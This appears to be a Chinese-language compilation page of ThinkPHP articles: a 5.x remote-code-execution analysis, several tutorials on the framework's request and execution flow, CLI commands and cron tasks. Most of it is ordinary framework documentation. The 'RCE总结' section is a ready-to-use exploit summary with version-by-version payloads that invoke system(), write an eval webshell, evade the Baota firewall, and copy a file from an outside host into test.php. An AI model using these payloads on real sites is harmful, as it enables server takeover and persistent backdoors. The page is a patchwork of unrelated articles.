ThinkPHP执行流程

合集下载

[漏洞分析]thinkphp5.x全版本任意代码执行分析全记录

[漏洞分析]thinkphp5.x全版本任意代码执行分析全记录

[漏洞分析]thinkphp5.x全版本任意代码执⾏分析全记录0x00 简介2018年12⽉10⽇中午,thinkphp官⽅公众号发布了⼀个更新通知,包含了⼀个5.x系列所有版本存在被getshell的⾼风险漏洞。

吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。

(以下截图为后截图,主要是想讲⼀下从⽆到有,如何分析漏洞,整个过程是怎么样的。

)0x01 漏洞原理下午睡醒,赶紧起来分析漏洞。

结合官⽅公告说的由于对控制器名没有⾜够的检测,再查看官⽅git commit信息拉⼀个tp下来,⽤的是tp 5.1.29的版本,windows+phpstudy ⼀把梭,搭建好环境。

在官⽅修改的地⽅加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。

请求:http://127.0.0.1/index.php/index/index/index命中断点。

⼀步步跟进controller的⾛向,发现在同⽂件下的 exec函数,实例化控制器跟进controller⽅法,thinkphp\library\think\App.php使⽤parseModuleAndClass⽅法来解析,继续跟进分析⼀下代码,发现会有⼀个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进⼊下⾯的判断,最后使⽤parseClass来解析,跟如parseClass函数发现进过parseName之后index变成了⾸字母⼤写,原因是经过了命名风格转换。

最后会将命名空间等进⾏拼接返回我们带命名空间的完整类名。

跟进,回到了controller⽅法,此时判断类是否存在,不存在会触发⾃动加载类。

之后就是实例化类,使⽤反射来调⽤类的相应⽅法了。

(偷懒省略掉了,主要是介绍⼀下分析的过程)⼤概流程摸清楚了,那么这个漏洞是怎么触发的呢?在跟踪的时候我们发现,类名都是带有完整的命名空间的,⽽命名空间恰好就是使⽤反斜杠来划分,结合那⼀个判断代码:反斜杠是否存在,直接返回类名的操作。

thinkphp执行方法

thinkphp执行方法

thinkphp执行方法ThinkPHP是一款优秀的PHP开源框架,它的执行方法分为以下几个步骤:2. 配置数据库:在根目录下的`config`文件夹中,找到并打开`database.php`文件,修改其中的数据库连接参数,包括主机名、数据库名、用户名和密码等。

3. 创建控制器:在根目录下找到`application`文件夹,在该文件夹下的`index`文件夹里创建一个`IndexController.php`文件,该文件将作为你的第一个控制器。

在该文件中,你需要定义一个`index`方法,该方法将作为你的第一个访问方法。

4. 定义路由:在根目录下的`route`文件夹中,找到并打开`route.php`文件,定义你的路由规则。

例如,以下代码会将`/index`请求指向`IndexController`控制器的`index`方法上:```phpRoute::get('/index', 'index/IndexController/index');```5. 编写视图:在根目录下的`application`文件夹中,找到`index`文件夹,在该文件夹下创建一个`index.html`文件,该文件将作为你的第一个视图文件。

7. 连接数据库:如果你需要在执行方法中连接数据库,可以使用ThinkPHP提供的数据库操作方法。

例如,以下代码会获取一个数据库连接对象,并执行一条查询语句:```php$db = \think\Db::connect(;$result = $db->query('select * from user');```8. 控制器和模型:在执行方法时,你可以在控制器中调用模型来处理业务逻辑和数据库操作。

在ThinkPHP中,控制器和模型是分离的,你可以使用`Loader`类来加载你的模型。

例如,以下代码会加载一个名为`UserModel`的模型,并调用它的方法:```php$user = \think\Loader::model('UserModel');$result = $user->getUserList(;```这些是ThinkPHP的一般执行方法,当然,还有很多其他的功能和操作,比如表单验证、会话管理、缓存操作等,帮助你更方便地开发PHP应用程序。

thinkphp的执行流程

thinkphp的执行流程

thinkphp的执行流程ThinkPHP是一个基于PHP的开源Web应用开发框架,继承了PHP的特性和功能,致力于提升开发效率和便捷性。

其执行流程是指在使用ThinkPHP框架开发项目时,请求是如何处理和响应的一系列步骤。

下面将详细介绍ThinkPHP的执行流程。

1.URL解析和路由分发ThinkPHP的执行流程从URL解析和路由分发开始。

当用户发送请求时,服务器会将URL解析为具体的模块、控制器和方法,并将请求分发给相应的控制器进行处理。

URL解析和路由分发主要通过配置文件(如route.php)进行设置。

2.环境初始化在执行具体操作之前,ThinkPHP会对运行环境进行一系列初始化操作。

包括设置时区、加载配置文件、自动加载函数库和类文件等。

这些操作保证了项目在运行过程中能够顺利读取和使用相应的资源。

3.请求处理当请求被分发给相应的控制器后,控制器会对请求进行处理。

首先,控制器会进行参数过滤和验证,确保请求参数的合法性。

然后,控制器会根据具体的业务逻辑进行相应的数据处理和操作。

4.模型处理在控制器中,经常需要对数据库进行操作,此时就需要使用模型来处理相关的数据逻辑。

ThinkPHP提供了基于ORM的模型系统,可以方便地进行数据库操作。

开发者只需要定义好模型的字段和表关联关系,就可以通过模型进行数据库交互。

5.视图渲染当模型处理完业务逻辑后,就需要将数据展示给用户。

这时候,控制器会将数据传递给对应的视图,并进行数据渲染。

视图可以使用模板引擎进行灵活的数据处理和页面展示,最终生成用户可读的HTML页面。

6.响应输出视图渲染完成后,控制器会将最终生成的响应内容返回给用户。

ThinkPHP会将响应内容进行统一的封装和处理,确保数据传输的安全和可靠。

7.请求结束当响应输出完成后,请求处理过程结束。

此时可以进行一些清理操作,如关闭数据库连接、释放内存等。

同时,ThinkPHP会记录一些关键的日志信息,便于进行问题排查和性能优化。

ThinkPHP5.0 自定义命令行的使用

ThinkPHP5.0 自定义命令行的使用
第一步:配置command.php文件,目录在网站根目录的application/commቤተ መጻሕፍቲ ባይዱnd.php下
第二步:建立命令类文件, 新建application/command/Settle.php(command目录是自己新建用来统一管理脚本的文件夹)
第三步:执行脚本
注: 定时执行命令,需要你把该类文件加入linux的crontab中
ThinkPHP5.0 自定义命令行的使用
应用场景:在工作中,我们通常需要定时的执行一些脚本,例如某个商城固定每月1号结算上个月会员的佣金。这时候就可以用到自定义命令行了,写好我们的结算脚本,服务器定时执行这个脚本就可以做到了。
注:我使用的是thinkphp5.0.9版本,不同的版本可能目录结构有差.
执行 php 网站根目录/think Settle (linux下严格区分大小写)
Laravel 有个 artisan,tp5 有个think。他们都是用来执行命令操作的,都是在框架根目录下
我们手动执行上面定义的佣金结算脚本。
1)打开window的cmd 命令行窗口
2)进入你的网站根目录下
3)执行脚本
更多php学习路线图教程直接访问/?wk

thinkphp5.x系列RCE总结

thinkphp5.x系列RCE总结

thinkphp5.x系列RCE总结Thinkphp MVC开发模式执⾏流程:⾸先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作⽅法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调⽤操作⽅法->构建响应对象->响应输出->⽇志保存->程序运⾏结束漏洞原因:路由控制不严谨,默认不开启强制路由,从⽽可以任意调⽤Thinkphp的类库主要有俩种⽅法,1.Request中的变量覆盖导致RCE 2.路由控制不严谨导致的RCE1.Request中的变量覆盖导致RCE版本名 是否可被攻击 攻击条件5.0.0 否 ⽆5.0.1 否 ⽆5.0.2 否 ⽆5.0.3 否 ⽆5.0.4 否 ⽆5.0.5 否 ⽆5.0.6 否 ⽆5.0.7 否 ⽆5.0.8 是 ⽆需开启debug5.0.9 是 ⽆需开启debug5.0.10 是 ⽆需开启debug5.0.11 是 ⽆需开启debug5.0.12 是 ⽆需开启debug5.0.13 是 需开启debug5.0.14 是 需开启debug5.0.15 是 需开启debug5.0.16 是 需开启debug5.0.17 是 需开启debug5.0.18 是 需开启debug5.0.19 是 需开启debug5.0.20 否 ⽆5.0.21 是 需开启debug5.0.22 是 需开启debug5.0.23 是 需开启debug5.0.0-5.0.12payload:POST /tp5010/public/index.php?s=index/index/index HTTP/1.1Host: 127.0.0.1:8000Content-Length: 52Content-Type: application/x-www-form-urlencodeds=whoami&_method=__construct&filter[]=system5.1版本,需设置error_reporting(0);POST /tp5132/public/index.php HTTP/1.1Host: 127.0.0.1:8000Content-Type: application/x-www-form-urlencodedCookie: XDEBUG_SESSION=PHPSTORMContent-Length: 28c=system&f=id&_method=filter利⽤⽂件包含_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();利⽤其他变量传参_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------2.路由控制不严谨导致的RCEv5.0.23及v5.1.31以下版本index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1https:///t/3570 thinkphp win 和linux 的区别https:///4e5e5d7364f443e28fbf0d3ae744a59athinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET绕宝塔 -主要还是函数和正则上的绕过/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22) _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod还有⼀种思路 利⽤\think\ 类库的 ⽅法做⽂件包含,把马内容写到log关于第⼀种⽅法,在基于tp5开发的cms 复现mipcms 最新版本。

Thinkphp运行流程图

Thinkphp运行流程图

APP_DEBUG开启 或
~runtime.php不存在
加载common/runtime.php文件
Common/runtime.php 判断php版本信息、开发模式、系统信息等。 定义很多路径常量如COMMON_PATH 设置Vendor目录 执行load_runtime_file() 执行Think::Start()方法
检测结果
1. 将请求参数赋值给$_GET[‘_URL_’]
false
2. 将模块名,方法名,分组名、额外参数对应放入 $var数组中
3. 将$var与$_GET合并为新的$_GET数组
规则路由
301重定向判断
是 跳转到重定向页面

解析路由 parseUrl() 1. 判断请求路径的格式 2. 将模块名、方法名解析成 数组的值;将参数名参数值 存入$var数组 3. 将模块名、方法名以 m 和 a 的下标存入$var数组 4. 返回 $var
Functions.php Log.class.php Dispatcher.php App.class.php Action.class.php View.class.php 9. 加载项目核心文件 项目/conf/core.php 10. 判断是否开启APP_DEBUG 加载项目公共文件APP/Common/common.php 加载项目别名定义文件 APP/Conf/alias.php
Tag(‘app_begin’) 项目开始标签 ReadHtmlCacheBehavior.class.php
ReadHtmlCacheBehavior:run()
其中任意环节返回false,则不需要缓存
1. 得到$cacheTime(缓存文件有效期) 2. 判断静态页面是否有效

ThinkPHP框架实现定时执行任务的两种方法分析

ThinkPHP框架实现定时执⾏任务的两种⽅法分析本⽂实例讲述了ThinkPHP框架实现定时执⾏任务的两种⽅法。

分享给⼤家供⼤家参考,具体如下:在平常的项⽬中我们总是会遇到需要将某个⽅法任务定时执⾏的问题,定时执⾏⽅法任务如果我们拥有服务器的权限,我们可以直接在服务器设置定时任务,例如在Windows的任务计划程序中进⾏设置,在Linux中编写脚本进⾏执⾏。

如果我们没有服务器权限,我们该如何使⽤项⽬的程序代码来⾃动定时执⾏呢?接下来就为⼤家描述⼀个基于ThinkPHP框架定时执⾏任务的例⼦,具体的⽅法会在下⾯进⾏详细的描述。

关于定时执⾏任务在这⾥需要提醒的是,这⾥描述的⽅法是被动执⾏的,也就是说当系统⽹站产⽣访问的时候,程序会对⽐是否达到定时的要求或者说是否达到执⾏任务的时间来决定是否执⾏⽅法任务,如果达到则执⾏,否则不执⾏。

另外,如果⽹站没有任何访问和请求则也是同样不执⾏,如果⼤家有发现或者知道了如何主动执⾏定时任务,烦请留⾔告知,我也学习⼀下。

1、⽅法⼀:v3.2.1①、ThinkPHP/Library/Behavior/CronRunBehavior.class.php⽂件在这⾥⾸先要说的就是这个⾃动执⾏任务⽂件,官⽅所给的这个⽂件存在BUG,我是⽤的是v3.2.1版本,后⾯的版本是否有改正⼤家可以尝试⼀下。

<?php/*** =======================================* Created by WeiBang Technology.* Author: ZhiHua_W* Date: 2016/9/22 0005* Time: 上午 11:12* Project: ThinkPHP实现定时执⾏任务* Power: ⾃动执⾏任务* =======================================*/namespace Behavior;class CronRunBehavior{public function run(&$params){if (C('CRON_CONFIG_ON')) {$this->checkTime();}}private function checkTime(){if (F('CRON_CONFIG')) {$crons = F('CRON_CONFIG');} else if (C('CRON_CONFIG')) {$crons = C('CRON_CONFIG');}if (!empty($crons) && is_array($crons)) {$update = false;$log = array();foreach ($crons as $key => $cron) {if (empty($cron[2]) || $_SERVER['REQUEST_TIME'] > $cron[2]) {G('cronStart');R($cron[0]);G('cronEnd');$_useTime = G('cronStart', 'cronEnd', 6);$cron[2] = $_SERVER['REQUEST_TIME'] + $cron[1];$crons[$key] = $cron;$log[] = 'Cron:' . $key . ' Runat ' . date('Y-m-d H:i:s') . ' Use ' . $_useTime . ' s ' . "\r\n";$update = true;}}if ($update) {\Think\Log::write(implode('', $log));F('CRON_CONFIG', $crons);}}}}此段代码已经将bug修复,⼤家可以将其复制到 “ ThinkPHP/Library/Behavior/CronRunBehavior.class.php ” ⽂件中进⾏保存。

ThinkPHP2.2框架执行流程图,ThinkPHP控制器的执行流程

ThinkPHP2.2框架执行流程图,ThinkPHP控制器的执行流程ThinkPHP2.2框架执行流程图,ThinkPHP控制器的执行流程作者:SNSGOU 发布于:2012-06-29 23:15:23分类:PHP标签: PHP框架评论(0)浏览(2052)ThinkPHP2.2框架执行原理、流程图在线手册ThinkPHP控制器的执行流程对用户的第一次URL访问http://&lt;serverIp&gt;/My/index.php/Index/show/ 所执行的流程进行详细的分析,用户的URL访问首先是定位到了My 项目的index.php 入口文件(注意:如果使用了URL_REWRITE,可能index.php已经被隐藏了),项目的入口文件所做的其实是实例化一个App应用实例,并且执行这个应用。

1、加载公共入口文件在实例化App类之前,我们需要首先加载系统的公共入口文件ThinkPHP.php,这个文件是ThinkPHP的总入口,让我们来一探究竟。

在加载ThinkPHP.php文件的过程中,其实完成了下面的操作:记录开始执行时间$GLOBALS['_beginTime'];检测THINK_PATH定义,如果没有则创建;检测项目名称APP_NAME,如果没有则按照一定规则自动定义;检测项目编译缓存目录定义,没有则取项目的Temp目录;加载系统定义文件defines.php和公共函数文件functions.php;如果项目编译缓存目录不存在,则自动创建项目目录结构;加载系统核心类库(包括Base、App、Action、Model、View、ThinkException、Log);如果PHP版本低于5.2.0则加载兼容函数库compat.php;生成核心编译缓存~runtime.php;记录加载文件时间$GLOBALS['_loadTime'];2、项目初始化init在加载完成ThinkPHP的公共入口文件之后,我们就开始执行应用了,而首先应该是初始化App应用。

thinkphp 执行方法

thinkphp 执行方法thinkphp是一款开源的PHP开发框架,它提供了丰富的功能和便捷的开发方式,使得我们能够更高效地进行Web应用程序的开发。

本文将介绍thinkphp中的执行方法,包括控制器中的方法执行和模型中的方法执行。

一、控制器中的方法执行在thinkphp框架中,控制器是用来处理用户请求的核心部分。

一般情况下,我们会在控制器中定义各种方法来处理不同的请求。

下面是一个简单的示例:```phpnamespace app\index\controller;class Index{public function index(){return 'Hello, thinkphp!';}}```在上面的代码中,我们定义了一个名为index的方法,该方法没有参数,并且返回一个字符串。

当用户访问该控制器时,框架会自动执行index方法,并将其返回的内容显示在用户的浏览器中。

除了普通的方法执行,thinkphp还提供了一些特殊的方法执行方式。

比如,我们可以在控制器中定义一个_init方法,该方法会在所有其他方法执行之前被调用。

这在我们需要在每个方法执行前执行一些初始化操作时非常有用。

二、模型中的方法执行在thinkphp框架中,模型是用来处理数据库操作的部分。

我们可以在模型中定义各种方法来实现对数据库的增删改查操作。

下面是一个简单的示例:```phpnamespace app\index\model;use think\Model;class User extends Model{public function getUserById($id){return $this->where('id', $id)->find();}}```在上面的代码中,我们定义了一个名为getUserById的方法,该方法接受一个id参数,并根据该id从数据库中查询对应的用户信息。

thinkphp6执行流程(一)

thinkphp6执⾏流程(⼀)项⽬⽬录相对为tp6请求被统⼀转发到⼊⼝⽂件(⼊⼝⽂件地址为 tp6/index.php)1.⼊⼝⽂件引⼊了composer⾃动载⼊⽂件类库<php?namespace think;require __DIR__ . '/../vendor/autoload.php';(⽂件地址为 tp6/vendor/autoload.php')2.实例化 think\App 对象赋值给$app<?php$app = new App();(App类⽂件地址为 tp6/vendor/topthink/framework/src/think/App.php')执⾏App类中的__construct构造⽅法<?phppublic function __construct(string $rootPath = ''){// 框架类库⽬录$this->thinkPath = dirname(__DIR__) . DIRECTORY_SEPARATOR;// 项⽬根⽬录$this->rootPath = $rootPath ? rtrim($rootPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR : $this->getDefaultRootPath(); // 应⽤⽬录$this->appPath = $this->rootPath . 'app' . DIRECTORY_SEPARATOR;// 项⽬缓存⽬录$this->runtimePath = $this->rootPath . 'runtime' . DIRECTORY_SEPARATOR;// 加载服务provide容器if (is_file($this->appPath . 'provider.php')) {// 执⾏ Container\bind()⽅法绑定类、闭包、实例、接⼝$this->bind(include $this->appPath . 'provider.php');}// 设置⼀个容器实例static::setInstance($this);// 绑定类的实例到容器$this->instance('app', $this);$this->instance('think\Container', $this);}其中在属性$bind中已经有了⼀些框架类的别名与实现的映射数组此时$app因为是继承了Container类,所以$app实际也是⼀个容器3.通过$app类调⽤http类(web管理类)$http = $app->http;3.0 引⽤http类的过程如下:(http类⽂件地址为 tp6/vendor/topthink/framework/src/think/Http.php')3.1 ⾸先App中不存在http⽅法,但是在容器类中存在魔术⽅法__get,会触发该魔术⽅法public function __get($name){return $this->get($name);}get⽅法从app应⽤容器中获取http对象实例<php?/*** 获取容器中的对象实例* @access public* @param string $abstract 类名或者标识* @return object*/public function get($abstract){if ($this->has($abstract)) {return $this->make($abstract);}throw new ClassNotFoundException('class not exists: ' . $abstract, $abstract);}3.2 通过app应⽤容器中的make⽅法进⾏类的实例,以及执⾏instances⽅法将实例化的http类绑定到容器数组对象中<?php/*** 创建类的实例已经存在则直接获取* @access public* @param string $abstract 类名或者标识* @param array $vars 变量* @param bool $newInstance 是否每次创建新的实例* @return mixed*/public function make(string $abstract, array $vars = [], bool $newInstance = false){$abstract = $this->getAlias($abstract);if (isset($this->instances[$abstract]) && !$newInstance) {return $this->instances[$abstract];}if (isset($this->bind[$abstract]) && $this->bind[$abstract] instanceof Closure) {$object = $this->invokeFunction($this->bind[$abstract], $vars);} else {$object = $this->invokeClass($abstract, $vars);}if (!$newInstance) {$this->instances[$abstract] = $object;}return $object;}返回http对象实例到调⽤处第3步开始的地⽅4 http对象执⾏run⽅法,应⽤程序的执⾏开始<?php/*** 执⾏应⽤程序* @access public* @param Request|null $request* @return Response*/public function run(Request $request = null): Response{//⾃动创建request对象$request = $request ?? $this->app->make('request', [], true);// 绑定request类的实例化对象到容器中$this->app->instance('request', $request);// 执⾏应⽤程序返回response类$response = $this->runWithRequest($request);} catch (Throwable $e) {$this->reportException($e);$response = $this->renderException($request, $e);}return $response;}4.1 run ⽅法中⾸先创建Request类,执⾏instances⽅法将实例化的Request类绑定到容器数组对象中,标识为request然后进⾏路由调度,执⾏ app容器中runWithRequest⽅法/*** 执⾏应⽤程序* @param Request $request* @return mixed*/protected function runWithRequest(Request $request){// 初始化app应⽤程序$this->initialize();// 加载全局中间件$this->loadMiddleware();// 监听HttpRun$this->app->event->trigger(HttpRun::class);// 中间件调度return $this->app->middleware->pipeline()->send($request)->then(function ($request) {return $this->dispatchToRoute($request);});}4.2然后在在http类中runWithRequest⽅法中执⾏了dispatchToRoute 讲请求分发到路由(dispatchToRoute 类⽅法的⽂件地址为 tp6/vendor/topthink/framework/src/think/Route.php')// 分发请求到路由<?phpprotected function dispatchToRoute($request){// 是否启⽤路由, 默认启⽤路由$withRoute = $this->app->config->get('app.with_route', true) ? function () {$this->loadRoutes();} : null;// 执⾏路由调度return $this->app->route->dispatch($request, $withRoute);}4.3 在http类中dispatchToRoute 通过app容器获取了route实例,并调⽤了route实例中的dispatch⽅法<?php/*** 路由调度* @param Request $request* @param Closure|bool $withRoute* @return Response*/public function dispatch(Request $request, $withRoute = true){$this->request = $request;$this->host = $this->request->host(true);$this->init();if ($withRoute) {// 加载路由设置if ($withRoute instanceof Closure) { $withRoute();}// 检查路由$dispatch = $this->check();} else {// 如果没有路由,则使⽤默认url解析$dispatch = $this->url($this->path());}// $dispatch 为think\route\dispatch\Controller 的实例化中的初始化,提取控制名称以及操作名称// 1, 通过最终think\route\Rule::dispatch来确路由调度的最终执⾏动作$dispatch->init($this->app);return $this->app->middleware->pipeline('route')->send($request)->then(function () use ($dispatch) {// 执⾏动作⽅法return $dispatch->run();});}4.4 在route类中的dispatch中执⾏了run⽅法,(run 类⽅法的⽂件地址为 tp6/vendor/topthink/framework/src/think/route/Dispatch.php')<?php/*** 执⾏路由调度* @access public* @return mixed*/public function run(): Response{if ($this->rule instanceof RuleItem && $this->request->method() == 'OPTIONS' && $this->rule->isAutoOptions()) {$rules = $this->rule->getRouter()->getRule($this->rule->getRule());$allow = [];foreach ($rules as $item) {$allow[] = strtoupper($item->getMethod());}return Response::create('', 'html', 204)->header(['Allow' => implode(', ', $allow)]);}// 此处调⽤的$this类,由调⽤者确定, 可能为url, callback, 或者controller// $data 为返回的response 类$data = $this->exec();return $this->autoResponse($data);}4.5 run⽅法调⽤了exec(此处调⽤的exec的类⽅法所在的⽂件,由调⽤者确定, 可能为url, callback, 或者controller, exec 类⽅法的⽂件地址为 tp6/vendor/topthink/framework/src/think/route/dispatch/Callback.php|Controller.php')在exec⽅法中最终返回了data数据4.6 然后调⽤了autoResponse⽅法,并传递4.5返回的data数据(autoResponse 类⽅法的⽂件地址为 tp6/vendor/topthink/framework/src/think/route/Dispatch.php')<?phpprotected function autoResponse($data): Response{if ($data instanceof Response) {$response = $data;} elseif (!is_null($data)) {// 默认⾃动识别响应输出类型$type = $this->request->isJson() ? 'json' : 'html';$response = Response::create($data, $type);} else {$data = ob_get_clean();$content = false === $data ? '' : $data;$status = '' === $content && $this->request->isJson() ? 204 : 200;// 创建response类返回,使⽤html$response = Response::create($content, 'html', $status);}return $response;}4.7 autoResponse ⽅法中执⾏了 Response::create⽅法最终⽅法返回了response对象;(Response::create 类⽅法的⽂件地址为 tp6/vendor/topthink/framework/src/think/Response.php') <?php/*** 创建Response对象* @access public* @param mixed $data 输出数据* @param string $type 输出类型* @param int $code 状态码* @return Response*/public static function create($data = '', string $type = 'html', int $code = 200): Response{$class = false !== strpos($type, '\\') ? $type : '\\think\\response\\' . ucfirst(strtolower($type));return Container::getInstance()->invokeClass($class, [$data, $code]);}4.8 最终返回了 response Html类的对象实例5 执⾏run⽅法$response = $http->run();6 response 执⾏send输出数据的操作;(Html 类⽂件所在地址为 tp6/vendor/topthink/framework/src/think/response/Html.php )6.1 执⾏send⽅法(send⽅法类⽂件所在地址为 tp6/vendor/topthink/framework/src/think/Response.php ) $response->send();<?php/*** 发送数据到客户端* @access public* @return void* @throws \InvalidArgumentException*/public function send(): void{// 处理输出数据$data = $this->getContent();if (!headers_sent() && !empty($this->header)) {// 发送状态码http_response_code($this->code);// 发送头部信息foreach ($this->header as $name => $val) {header($name . (!is_null($val) ? ':' . $val : ''));}}if ($this->cookie) {$this->cookie->save();}$this->sendData($data);if (function_exists('fastcgi_finish_request')) {// 提⾼页⾯响应fastcgi_finish_request();}}6.1 在send⽅法中最终执⾏了 sendData ⽅法(sendData⽅法类⽂件所在地址为 tp6/vendor/topthink/framework/src/think/Response.php )<?php/*** 输出数据* @access protected* @param string $data 要处理的数据* @return void*/protected function sendData(string $data): void{echo $data;}7 执⾏ http对象中的end⽅法<?php$http->end($response);(http类⽂件地址为 tp6/vendor/topthink/framework/src/think/Http.php')<?php/*** HttpEnd* @param Response $response* @return void*/public function end(Response $response): void{$this->app->event->trigger(HttpEnd::class, $response);//执⾏中间件$this->app->middleware->end($response);// 写⼊⽇志$this->app->log->save();}8整个程序结束应⽤类App继承了Container容器类, 所有类的实例通过容器类进⾏统⼀管理,容器类为单例模式全局唯⼀;。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

} 记录加载文件时间 $GLOBALS['_loadTime'];
进入ThinkPHP\Lib\Think\Core\App
入口文件中调用的$App->run() public function run() { $this->init(); $this->exec(); return ; } $App->run()返回的时候,对一个请求的处理就算完成 了
exec执行完毕,一个请求处理完成了
小结
Thinkphp一次网页请求,就是实例化一个网站应用实例 , 并执行应用程序的过程。执行过程$App->run()分为init和 exec两部分。 这中间还省略了一部分分析,比如RBAC,比如Model相 关的代码,VIEW操作解析等,将在下次分享中讨论。
}
3.设置时区支持(59-60行) 4.允许注册AUTOLOAD方法、 session初始化(62-66行)
App.class.php的init函数(2)
5. URL分析和调度(71行)
执行Dispatcher类的静态方法 dispatch() 。这段代码很不错。
6.加载项目分组公共文件(82-90行)
App.class.php的init函数(1)
1.设定错误和异常处理机制(39-40行)
(set_error_handler和set_exception_handler)
2.项目预编译并载入(44-52行)
// 在部署模式下会自动在第一次执行的时候编译项目 if(defined('RUNTIME_MODEL')){ // 运行模式无需载入项目编译缓存 }elseif(is_file(RUNTIME_PATH.'~app.php') && (!is_file(CONFIG_PATH.'config.php') || filemtime(RUNTIME_PATH.'~app.php')>filemtime(CONFIG_PATH.'config.php'))) { // 直接读取编译后的项目文件 C(include RUNTIME_PATH.'~app.php'); }else{ // 预编译项目 App::build();
App.class.php的exec函数(1)
1.创建Action控制器实例(379行) A()函数 2.获取当前操作名(400行)
$action = ACTION_NAME;
3.执行操作(401-418行)
// 执行操作链 最多只能有一个输出 1.执行前置操作 '_before_'.$action 2.执行当前操作 $action 3.执行后缀操作 '_after_'.$action
检查开启ALLINONE模式 (22行)
把核心编译缓存和项目编译缓存合并到一个文件里面去,并且过滤掉一些运行模式不需要执行的代码,并且对 于用户的自定义常量全部统一定义,不再进行额外的检测。
检查是否有核心缓存~runtime.php(33行) if(file_exists(RUNTIME_PATH.'~runtime.php')) {
ApE 变量(231行)
(包括 GET 和 POST), 如果未定义,则获取默认分组名 分组名称解析完毕,也就是http://server/project/index.php/Model/Action/的project部分,回到init
App.class.php的getModule
App.class.php的getAction
App.class.php 209行
1. 检查VAR_MODULE 变量(211行)
(包括 GET 和 POST), 如果未定义,则获取默认模块名 操作名称解析完毕,也就是http://server/project/index.php/Model/Action/的Action部分,回到init
// 加载框架核心缓存文件
require RUNTIME_PATH.'~runtime.php'; }else{
//1.加载define.php和functions.php //2.如果项目编译缓存目录不存在,则自动创建项目目录结构 //3.加载系统核心类库(包括ThinkPHP\LIB\THINK下级各子目录下的 Base、App、Action、Model、View、 ThinkException、Log) //4.如果 PHP 版本低于 5.2.0 则加载兼容函数库 //生成核心编译~runtime缓存
App.class.php 186行
1. 检查VAR_MODULE 变量(189行)
(包括 GET 和 POST), 如果未定义,则获取默认模块名
2. 判断URL地址是否区分大小写
不区分,小写模块名 智能识别方式 index.php/user_type/index/ 识别到 UserTypeAction 模块 模块名称解析完毕,也就是http://server/project/index.php/Model/Action/的Model部分,回到init
流程大纲
加载公共入口文件 项目初始化Init 项目预编译 URL分析Dispather 获取模块和操作名 项目执行exec 执行控制器的操作 调用模块获取数据 输出视图
入口文件的定义
<?php
define('THINK_PATH', '../ThinkPHP'); //定义项目名称,如果不定义,默认为入口文件名称 define('APP_NAME', 'web'); define('APP_PATH', './web'); //加载ThinkPHP框架公共入口文件 require(THINK_PATH.'/ThinkPHP.php'); //实例化一个网站应用实例 $App = new App(); //执行应用程序 $App->run(); ?>
8.加载模块配置文件(95-97行) 9.系统检查(99-104行)
App::checkLanguage(); //语言检查 App::checkTemplate(); //模板检查 if(C('HTML_CACHE_ON')) // 开启静态缓存
10.项目初始化标签
初始化完成,init返回
App.class.php的getGroup
ThinkPHP.php里面的干了些啥
记录开始执行时间 $GLOBALS[‘_beginTime’](19行) 检测THINK_PATH、 APP_NAME、 APP_PATH、 RUNTIME_PATH 定义,如果没有则创建(2026行)
//不知道你发现没有,以index.php这基准,通过APP_PATH,可以组装出任意路径
if(!defined('GROUP_NAME')) define('GROUP_NAME', App::getGroup());
7.取得模块和操作名称(92-93行)
if(!defined('MODULE_NAME')) define('MODULE_NAME', App::getModule()); if(!defined('ACTION_NAME')) define('ACTION_NAME', App::getAction());
相关文档
最新文档